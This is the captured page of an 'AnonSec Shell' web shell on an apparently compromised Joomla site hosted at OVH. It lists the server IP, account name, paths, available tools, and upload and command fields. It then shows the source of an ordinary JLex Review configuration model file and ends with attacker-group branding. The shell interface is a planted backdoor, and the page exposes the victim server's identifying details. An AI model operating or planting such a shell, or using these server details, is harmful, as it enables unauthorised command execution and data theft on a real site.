AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice2/administrator/components/com_jlexreview/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice2/administrator/components/com_jlexreview/models/config.php
<?php
/**
 * @package		JLex Review
 * @version		4.2.3
 * @copyright	Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license		GNU General Public License version 2 or later;
 * @author		www.jlexart.com
 */

defined('_JEXEC') or die;
class JLexReviewModelConfig extends JModelLegacy
{
	public $id;
	
	protected function getParams($assoc=true)
	{
		$query = $this->_db->getQuery(true);
		$query->select("extension_id AS id, params")
			  ->from("#__extensions")
			  ->where(array(
			  		$this->_db->quoteName("element") . "=" . $this->_db->quote("com_jlexreview"),
			  		$this->_db->quoteName("type") . "=" . $this->_db->quote("component")
			  	));

		$result = $this->_db->setQuery($query)->loadObject();
		
		if(!$result)
		{
			throw new Exception("Coundn't load JLex Review parameter.", 500);
		}

		$this->id = $result->id;
		$params = json_decode($result->params, $assoc);
		
		return $params;
	}

	public function getUserGroups()
    {
        $query = $this->_db->getQuery(true);
        $query->select('a.id AS value, a.title AS text, COUNT(DISTINCT b.id) AS level, a.parent_id')
            ->from('#__usergroups AS a')
            ->leftJoin($this->_db->quoteName('#__usergroups') . ' AS b ON a.lft > b.lft AND a.rgt < b.rgt')
            ->group('a.id, a.title, a.lft, a.rgt, a.parent_id')
            ->order('a.lft ASC');
        $this->_db->setQuery($query);
        $options = $this->_db->loadObjectList();

        return $options;
    }

	public function getForm($layout="general")
	{
		$path = dirname(__FILE__)."/forms/config/".$layout.".xml";

		if(!JFile::exists($path))
		{
			throw new Exception($path." Not Found!", 404);
		}

        $form = JForm::getInstance("jreview_config", $path);

        if($layout=="permission")
        {
        	JForm::addFieldPath( dirname(__FILE__) . '/fields');
        	$path = dirname (__FILE__)."/forms/config/permission.xml";

        	//$form = JForm::getInstance("jpermission", $path, array('control' => ''), false, '/permissions');

        	$groups = $this->getUserGroups();
        	$params = $this->getParams(false);

        	$parameters = array();
	        foreach ($form->getFieldsets() as $fieldset) {
	            foreach ($form->getFieldset($fieldset->name) as $field) {
	                $name = $field->fieldname;
	                $parameters[$name] = !empty($params->$name) && is_array ($params->$name) ? $params->$name : array();
	            }
	        }

	        $groupParameters = array();
	        foreach ($groups as $group)
	        {
	            foreach ($parameters as $key => $values) {
	                $groupParameters[$group->value][$key] = array(
	                	'group' => $group->value,
	                    'value' => in_array($group->value, $values) ? $group->value : null
	                );
	            }
	        }

	        $forms = array();
	        foreach($groups as $group)
	        {
	            $form = JForm::getInstance("jpermission_" . $group->value, $path, array('control' => ''), false);
	            $form->bind( array('jform'=>$groupParameters[$group->value]));
	            $forms[$group->value] = $form;
	        }

	        return $forms;
        } else {
        	$params = $this->getParams();
        	$form->bind(array("jform"=>$params));
        }

        return $form;
	}

	public function save()
	{
		$app = JFactory::getApplication ();
		$params = $this->getParams();

		if(!$params)
		{
			$params = null;
		}

		$layout = $app->input->getCmd("layout", "general");
		$path 	= dirname (__FILE__) . "/forms/config/" . $layout . ".xml";

		if(!JFile::exists($path))
		{
			throw new Exception($path." Not Found!", 404);
		}

		$form = JForm::getInstance("jreview_config", $path);
		$data = $form->filter($_POST);
        $return = $form->validate($data);
		
		if($return===false)
        {
        	// Get the validation messages.
			$errors = $form->getErrors();

			foreach($errors as $error)
			{
				if($error instanceof Exception)
				{
					$app->enqueueMessage($error->getMessage(), 'warning');
				} else {
					$app->enqueueMessage($error, 'warning');
				}
			}

        	return false;
        }

        // save data;
        $data = $data["jform"];

        if($layout=="permission")
        {
        	$permissions = array(
				// user - review
                "u_post_review",
                "u_upload_file",
                "u_download_file",
                "u_map_embed",
                "u_voting",
                "u_helpful_vote",
                "u_auto_publish_review",

                // user - comment
                "u_post_comment",
                "u_reply_comment",
                "u_vote_comment",
                "u_auto_publish_cm",

                // user - other
                "u_reporting",
                "u_subscribe",
                "u_user_follow",
                "u_follow_user",


                // admin
                "u_edit_own_review",
                "u_del_own_review",
                "u_edit_own_comment",
                "u_del_own_comment",


                "u_edit_any_review",
                "u_del_any_review",
                "u_state_any_review",
                "u_feature_any_review",
                "u_mark_editor_review",
                "u_edit_any_comment",
                "u_del_any_comment",
                "u_state_any_comment",
                "u_show_ip_addr",
                "u_show_author_email",
        	);

			foreach ($permissions as $permission)
	        {
	        	if (!array_key_exists($permission, $data))
	        	{
	        		$data[$permission] = array();
	        	}
	        }
        }

        foreach ($data as $key=>$value)
        {
        	$params[$key] = $value;
        }

        $paramsJson = json_encode($params);

        $query = $this->_db->getQuery(true);
        $query->update("#__extensions")
        	  ->set("params=".$this->_db->quote($paramsJson))
        	  ->where("extension_id=".$this->_db->quote($this->id));
		
		$this->_db->setQuery($query)->execute();

		return true;
	}


	/* -- FOR FILE SECTION PART -- */
	public function fsItems()
	{
		$app = JFactory::getApplication();
		$id  = $app->input->getInt("id",0);

		$query = $this->_db->getQuery(true);
		$query->select("*")
			  ->from("#__jlexreview_form")
			  ->order("name DESC");

		if ($id>0)
		{
			$query->where("id=" . $id);
			return $this->_db->setQuery($query)->loadObject();
		}

		return $this->_db->setQuery($query)->loadObjectList();
	}

	public function fsRemove()
	{

	}
}

Anon7 - 2022
AnonSec Team